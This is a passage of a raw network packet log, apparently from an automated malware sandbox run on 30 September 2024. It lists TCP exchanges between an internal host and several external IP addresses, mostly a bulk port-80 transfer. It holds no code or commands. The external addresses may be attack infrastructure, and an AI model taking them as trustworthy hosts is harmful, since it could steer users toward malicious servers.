Sep 30, 2024 13:59:38.675905943 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.675916910 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.675925016 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.675930023 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.675946951 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.675961971 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.675967932 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.675981045 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.675996065 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.676014900 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.676034927 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.676451921 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.676470041 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.676484108 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.676500082 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.676529884 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.676557064 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.676568031 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.676603079 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677176952 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677225113 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677233934 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677253962 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677265882 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677273989 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677277088 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677289963 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677299976 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677330971 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677335978 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677349091 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677375078 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677520037 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677536011 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677556038 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677561998 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677567959 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677581072 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677587032 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677593946 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677608967 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677614927 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677629948 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677638054 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677656889 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677656889 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677670956 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677680969 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677689075 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677696943 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677707911 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677709103 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677717924 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677735090 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677745104 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677755117 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677777052 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677777052 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677788019 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677798986 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677802086 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677814007 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677814960 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677836895 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677845001 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677855968 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677865982 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677866936 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677877903 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677887917 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677896976 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677897930 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.677916050 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.677937031 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.678153038 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.678164005 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.678175926 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.678184986 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.678200960 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.678230047 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.679068089 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.679091930 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.679112911 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.679122925 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.679131985 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.679160118 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.680905104 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.680916071 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.680924892 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.680965900 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.680982113 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681003094 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681022882 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681034088 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681042910 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681049109 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681055069 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681062937 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681067944 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681078911 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681087017 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681111097 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681148052 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681159019 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681168079 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681179047 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681195974 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681231022 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681345940 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681364059 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681374073 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681401014 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681417942 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681459904 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681472063 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681483030 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681505919 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681529045 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681596041 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681607008 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681617022 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681639910 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681655884 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681674957 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681685925 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681694984 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681705952 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681718111 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681741953 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681780100 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681822062 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681859970 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681904078 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681916952 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681930065 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681940079 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681956053 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681960106 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681969881 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681972027 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.681982040 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.681998968 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.682029009 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.682053089 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682064056 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682074070 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682084084 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682094097 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682100058 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.682107925 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682118893 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.682133913 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.682163954 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682168961 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.682174921 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682185888 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682197094 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682209015 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.682240009 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.682591915 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682605982 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682610989 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682615995 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682626009 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682641029 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682651997 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682665110 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.682682991 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.682749033 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682760954 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682770967 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682780981 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682790041 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682795048 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682806015 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682815075 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.682832956 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.682832956 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.682872057 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.764345884 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.764440060 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.764446020 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.764477968 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.764497995 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.764516115 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.764528990 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.764533043 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.764549017 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.764561892 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.764565945 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.764576912 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.764581919 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.764595032 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.764597893 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.764607906 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.764614105 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.764626026 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.764631033 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.764646053 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.764646053 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.764656067 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.764661074 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.764673948 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.764678955 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.764688969 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.764688969 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.764702082 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.764710903 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.764751911 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.765360117 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.765372992 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.765383959 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.765394926 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.765414000 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.765439987 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.889620066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:39.010029078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:39.249878883 CEST	49724	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:39.249922037 CEST	443	49724	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:39.249979973 CEST	49724	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:39.251050949 CEST	49724	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:39.251066923 CEST	443	49724	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:39.711680889 CEST	443	49724	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:39.711798906 CEST	49724	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:39.713499069 CEST	49724	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:39.713511944 CEST	443	49724	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:39.713773966 CEST	443	49724	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:39.757527113 CEST	49724	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:39.776074886 CEST	49724	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:39.777276039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:39.779867887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:39.796282053 CEST	49724	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:39.796343088 CEST	443	49724	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:39.818789005 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:39.823622942 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.004353046 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.004371881 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.004383087 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.004393101 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.004405022 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.004415035 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.004430056 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.004441023 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.004451990 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.004458904 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.004494905 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.004503965 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.004940987 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.004955053 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.004966021 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005000114 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005014896 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005017042 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005026102 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005036116 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005047083 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005048037 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005059004 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005089998 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005114079 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005125999 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005136013 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005146027 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005156994 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005167007 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005167961 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005177975 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005196095 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005217075 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005261898 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005273104 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005283117 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005287886 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005292892 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005312920 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005323887 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005326033 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005333900 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005345106 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005356073 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005357027 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005366087 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005367041 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005378008 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005388975 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005398035 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005423069 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005439997 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005479097 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005573988 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005587101 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005597115 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005606890 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005614042 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005618095 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005624056 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005640984 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005641937 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005651951 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005661964 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005671978 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005675077 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005682945 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005690098 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005695105 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005721092 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005732059 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005743027 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005753994 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005764008 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005774975 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005780935 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005790949 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005801916 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005809069 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005811930 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005834103 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005846977 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005877972 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005888939 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005898952 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005908966 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005918026 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005927086 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005929947 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.005953074 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.005991936 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006012917 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006023884 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006038904 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006050110 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006059885 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006062984 CEST	49723	80	192.168.2.6	147.45.44.104
